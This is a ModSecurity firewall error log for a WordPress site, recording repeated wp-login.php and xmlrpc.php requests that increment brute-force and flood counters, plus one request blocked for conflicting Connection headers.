[Thu Nov 27 03:08:58.930038 2025] [:error] [pid 25262:tid 25334] [client 185.223.152.76:46897] [client 185.223.152.76] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.76, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSdQSk3p81VU3bYILBVcgQAAAg0"]
[Thu Nov 27 03:19:15.840793 2025] [:error] [pid 50951:tid 50970] [client 185.223.152.254:57825] [client 185.223.152.254] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.254, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSdSs6S051oFUkMn6w_CgwAAAQ0"]
[Thu Nov 27 03:19:22.612916 2025] [:error] [pid 50775:tid 50828] [client 185.223.152.85:47803] [client 185.223.152.85] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.85, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSdSupD_TwjHabCEmMROhgAAAEI"]
[Thu Nov 27 03:24:22.187413 2025] [:error] [pid 50951:tid 50971] [client 46.105.230.99:63956] [client 46.105.230.99] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.105.230.99, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSdT5qS051oFUkMn6w_FTAAAAQ4"]
[Thu Nov 27 03:29:29.993849 2025] [:error] [pid 22669:tid 22697] [client 185.223.152.79:38211] [client 185.223.152.79] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.79, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSdVGXBUihC70n2FCQggHwAAABE"]
[Thu Nov 27 03:29:30.658397 2025] [:error] [pid 22671:tid 22734] [client 185.223.152.132:48229] [client 185.223.152.132] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.132, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSdVGvo1hytoWehyQ0DcuQAAAIA"]
[Thu Nov 27 03:40:11.439726 2025] [:error] [pid 53613:tid 53644] [client 185.223.152.88:30351] [client 185.223.152.88] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.88, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSdXmxNZMUHuAhTmCSP73QAAABQ"]
[Thu Nov 27 03:40:53.360779 2025] [:error] [pid 53739:tid 53760] [client 185.223.152.134:22297] [client 185.223.152.134] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.134, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSdXxc0J_NoeqMM0rg2slwAAANE"]
[Thu Nov 27 03:50:32.504421 2025] [:error] [pid 26898:tid 26916] [client 185.223.152.130:56763] [client 185.223.152.130] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.130, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSdaCAgA4tSHKsSYspCYSQAAAMs"]
[Thu Nov 27 03:50:32.616114 2025] [:error] [pid 26793:tid 26845] [client 185.223.152.4:49039] [client 185.223.152.4] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.4, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSdaCG6QLZaJka3km9Rl4gAAAEw"]
[Thu Nov 27 03:55:11.642773 2025] [:error] [pid 6203:tid 6277] [client 162.241.219.134:50024] [client 162.241.219.134] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.219.134, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSdbH8bdRL7aKyrgqyy0PQAAAJE"]
[Thu Nov 27 03:55:15.719991 2025] [:error] [pid 6203:tid 6268] [client 162.241.219.134:50024] [client 162.241.219.134] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.219.134, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSdbI8bdRL7aKyrgqyy0RAAAAIg"], referer: https://rcacivilgroup.com/wp-login.php
[Thu Nov 27 04:01:07.043731 2025] [:error] [pid 6203:tid 6261] [client 185.223.152.84:54219] [client 185.223.152.84] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.84, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSdcg8bdRL7aKyrgqyy2lQAAAIE"]
[Thu Nov 27 04:07:40.604394 2025] [:error] [pid 6202:tid 6242] [client 185.223.152.138:25373] [client 185.223.152.138] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.138, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSdeDNJa7NTP0XPyZ6lbFwAAAEk"]
[Thu Nov 27 04:17:49.786016 2025] [:error] [pid 6201:tid 6213] [client 185.223.152.136:26401] [client 185.223.152.136] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.136, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSdgbTkSJeRkIQGTjzwZtAAAAAg"]
[Thu Nov 27 04:22:31.092113 2025] [:error] [pid 6203:tid 6274] [client 185.223.152.91:48407] [client 185.223.152.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.91, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSdhh8bdRL7aKyrgqyy-FAAAAI4"]
[Thu Nov 27 04:25:11.424020 2025] [:error] [pid 6203:tid 6276] [client 162.241.219.134:19318] [client 162.241.219.134] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.219.134, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSdiJ8bdRL7aKyrgqyy-ZgAAAJA"]
[Thu Nov 27 04:25:16.568125 2025] [:error] [pid 6203:tid 6280] [client 162.241.219.134:19318] [client 162.241.219.134] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.219.134, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSdiLMbdRL7aKyrgqyy-aAAAAJQ"], referer: https://rcacivilgroup.com/wp-login.php
[Thu Nov 27 04:27:41.366688 2025] [:error] [pid 6202:tid 6237] [client 185.223.152.123:20803] [client 185.223.152.123] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.123, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSdivdJa7NTP0XPyZ6liYAAAAEQ"]
[Thu Nov 27 04:33:03.289948 2025] [:error] [pid 6201:tid 6211] [client 185.223.152.78:36733] [client 185.223.152.78] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.78, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSdj_zkSJeRkIQGTjzwdKQAAAAY"]
[Thu Nov 27 04:35:11.625313 2025] [:error] [pid 6203:tid 6266] [client 106.214.172.62:50514] [client 106.214.172.62] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.214.172.62, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSdkf8bdRL7aKyrgqyzBJwAAAIY"]
[Thu Nov 27 04:37:37.604381 2025] [:error] [pid 6201:tid 6215] [client 185.223.152.136:59507] [client 185.223.152.136] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.136, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSdlETkSJeRkIQGTjzwd8AAAAAo"]
[Thu Nov 27 04:43:18.107709 2025] [:error] [pid 6201:tid 6217] [client 185.223.152.91:61263] [client 185.223.152.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.91, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSdmZjkSJeRkIQGTjzwfmwAAAAw"]
[Thu Nov 27 04:51:02.662016 2025] [:error] [pid 21017:tid 21073] [client 185.223.152.131:35569] [client 185.223.152.131] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.131, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSdoNqZA663ub03MMQuCqwAAAQ4"]
[Thu Nov 27 04:53:49.021507 2025] [:error] [pid 21017:tid 21062] [client 185.223.152.75:20303] [client 185.223.152.75] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.75, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSdo3aZA663ub03MMQuDdAAAAQM"]
[Thu Nov 27 05:01:53.780503 2025] [:error] [pid 6202:tid 6246] [client 185.223.152.134:29445] [client 185.223.152.134] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.134, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSdqwdJa7NTP0XPyZ6lpBgAAAE0"]
[Thu Nov 27 05:04:18.258575 2025] [:error] [pid 6202:tid 6237] [client 185.223.152.91:60121] [client 185.223.152.91] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.91, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSdrUtJa7NTP0XPyZ6lpgAAAAEQ"]
[Thu Nov 27 05:14:30.867814 2025] [:error] [pid 6290:tid 6297] [client 185.223.152.69:46647] [client 185.223.152.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.69, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSdttoqL4zye-zKr6sueJAAAAMM"]
[Thu Nov 27 05:15:18.882391 2025] [:error] [pid 21017:tid 21059] [client 185.223.152.134:34677] [client 185.223.152.134] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.134, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSdt5qZA663ub03MMQuN8wAAAQA"]
[Thu Nov 27 05:24:41.920938 2025] [:error] [pid 6290:tid 6310] [client 185.223.152.69:35975] [client 185.223.152.69] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.69, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSdwGYqL4zye-zKr6sugSgAAANA"]
[Thu Nov 27 05:34:35.772831 2025] [:error] [pid 6201:tid 6212] [client 185.223.152.68:22615] [client 185.223.152.68] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.68, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSdyazkSJeRkIQGTjzwr-AAAAAc"]
[Thu Nov 27 05:41:08.277710 2025] [:error] [pid 6203:tid 6268] [client 65.108.41.45:44534] [client 65.108.41.45] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 65.108.41.45, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSdz9MbdRL7aKyrgqyzUPQAAAIg"]
[Thu Nov 27 05:42:54.311289 2025] [:error] [pid 6202:tid 6252] [client 185.223.152.252:45807] [client 185.223.152.252] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.252, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSd0XtJa7NTP0XPyZ6lzQQAAAFM"]
[Thu Nov 27 05:44:28.009476 2025] [:error] [pid 21017:tid 21059] [client 185.223.152.77:28647] [client 185.223.152.77] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.77, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSd0vKZA663ub03MMQubIAAAAQA"]
[Thu Nov 27 05:46:53.407563 2025] [:error] [pid 21017:tid 21071] [client 123.187.240.242:51083] [client 123.187.240.242] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "aSd1TaZA663ub03MMQucAAAAAQw"]
[Thu Nov 27 05:54:40.995985 2025] [:error] [pid 21017:tid 21082] [client 185.223.152.80:52245] [client 185.223.152.80] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.80, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSd3IKZA663ub03MMQugrgAAARc"]
[Thu Nov 27 06:05:18.173788 2025] [:error] [pid 6290:tid 6304] [client 185.223.152.73:37883] [client 185.223.152.73] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.73, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSd5noqL4zye-zKr6suwoAAAAMo"]
[Thu Nov 27 06:08:03.670233 2025] [:error] [pid 6290:tid 6302] [client 185.223.152.254:52391] [client 185.223.152.254] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.254, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSd6Q4qL4zye-zKr6suyLQAAAMg"]
[Thu Nov 27 06:15:49.630721 2025] [:error] [pid 21017:tid 21077] [client 185.223.152.80:41973] [client 185.223.152.80] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.80, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSd8FaZA663ub03MMQuuFQAAARI"]
[Thu Nov 27 06:19:33.210915 2025] [:error] [pid 6290:tid 6301] [client 185.223.152.147:28895] [client 185.223.152.147] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.147, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSd89YqL4zye-zKr6su3AgAAAMc"]
[Thu Nov 27 06:29:09.439171 2025] [:error] [pid 6203:tid 6283] [client 185.223.152.138:64207] [client 185.223.152.138] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.138, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSd_NcbdRL7aKyrgqyzmHwAAAJc"]
[Thu Nov 27 06:37:01.157187 2025] [:error] [pid 6201:tid 6221] [client 185.223.152.65:59109] [client 185.223.152.65] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.65, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSeBDTkSJeRkIQGTjzxAVAAAABA"]
[Thu Nov 27 06:39:13.866906 2025] [:error] [pid 6203:tid 6262] [client 185.223.152.130:40605] [client 185.223.152.130] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.130, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSeBkcbdRL7aKyrgqyzp5AAAAII"]
[Thu Nov 27 06:48:44.999495 2025] [:error] [pid 40899:tid 40934] [client 185.223.152.77:59917] [client 185.223.152.77] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.77, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSeDzGnBnYHK6eCtI_Nd6AAAAYU"]
[Thu Nov 27 06:49:54.285417 2025] [:error] [pid 48929:tid 48977] [client 144.217.252.106:59180] [client 144.217.252.106] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 144.217.252.106, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSeEEhsXTHq9V_4xD5TeCAAAAIo"]
[Thu Nov 27 07:11:49.705864 2025] [:error] [pid 48929:tid 48988] [client 154.195.183.201:42197] [client 154.195.183.201] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 154.195.183.201, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSeJNRsXTHq9V_4xD5TkNQAAAJU"], referer: http://RCACIVILGROUP.COM
[Thu Nov 27 07:16:45.037903 2025] [:error] [pid 51021:tid 51034] [client 185.223.152.142:30053] [client 185.223.152.142] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.142, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSeKXZuE5fqOXcOLed3TbQAAAAs"]
[Thu Nov 27 07:27:50.272560 2025] [:error] [pid 51021:tid 51039] [client 185.223.152.130:35401] [client 185.223.152.130] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.130, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSeM9puE5fqOXcOLed3YxQAAABA"]
[Thu Nov 27 07:32:44.133213 2025] [:error] [pid 43859:tid 43931] [client 185.223.152.75:25833] [client 185.223.152.75] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.75, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSeOHOP5WDoWuBgsXuxJQQAAAI0"]
[Thu Nov 27 07:37:25.057012 2025] [:error] [pid 23412:tid 23464] [client 185.223.152.124:45781] [client 185.223.152.124] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.124, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSePNfeMmsvPE1IwQb-g_AAAAZY"]
[Thu Nov 27 07:41:23.732681 2025] [:error] [pid 44723:tid 44746] [client 185.223.152.142:36023] [client 185.223.152.142] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.142, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSeQI2fLXduswtYNIrFX5QAAARU"]
[Thu Nov 27 07:49:07.742914 2025] [:error] [pid 61345:tid 61385] [client 185.223.152.140:38469] [client 185.223.152.140] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.140, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSeR85kBryVCX1kKXE5mggAAAMk"]
[Thu Nov 27 07:50:54.221381 2025] [:error] [pid 62796:tid 62800] [client 185.223.152.139:37519] [client 185.223.152.139] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.139, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSeSXiyxnLVc0v3tqdUifQAAAYI"]
[Thu Nov 27 07:57:48.025316 2025] [:error] [pid 62796:tid 62821] [client 157.245.42.243:44078] [client 157.245.42.243] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.245.42.243, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSeT_CyxnLVc0v3tqdUlXgAAAZc"]
[Thu Nov 27 08:00:09.492052 2025] [:error] [pid 62796:tid 62813] [client 185.223.152.134:53967] [client 185.223.152.134] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.134, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSeUiSyxnLVc0v3tqdUmnwAAAY8"]
[Thu Nov 27 08:28:43.754024 2025] [:error] [pid 19015:tid 19085] [client 185.223.152.133:51755] [client 185.223.152.133] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.133, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSebOw4MxyJWPPh2qEi24gAAAI4"]
[Thu Nov 27 08:32:07.633730 2025] [:error] [pid 19119:tid 19179] [client 185.223.152.254:59915] [client 185.223.152.254] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.254, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSecBxsL_RTusriYkwdxhwAAAMU"]
[Thu Nov 27 08:38:43.536998 2025] [:error] [pid 19014:tid 19065] [client 185.223.152.140:38773] [client 185.223.152.140] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.140, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSedk42utvwZ4eADRmr4UgAAAFU"]
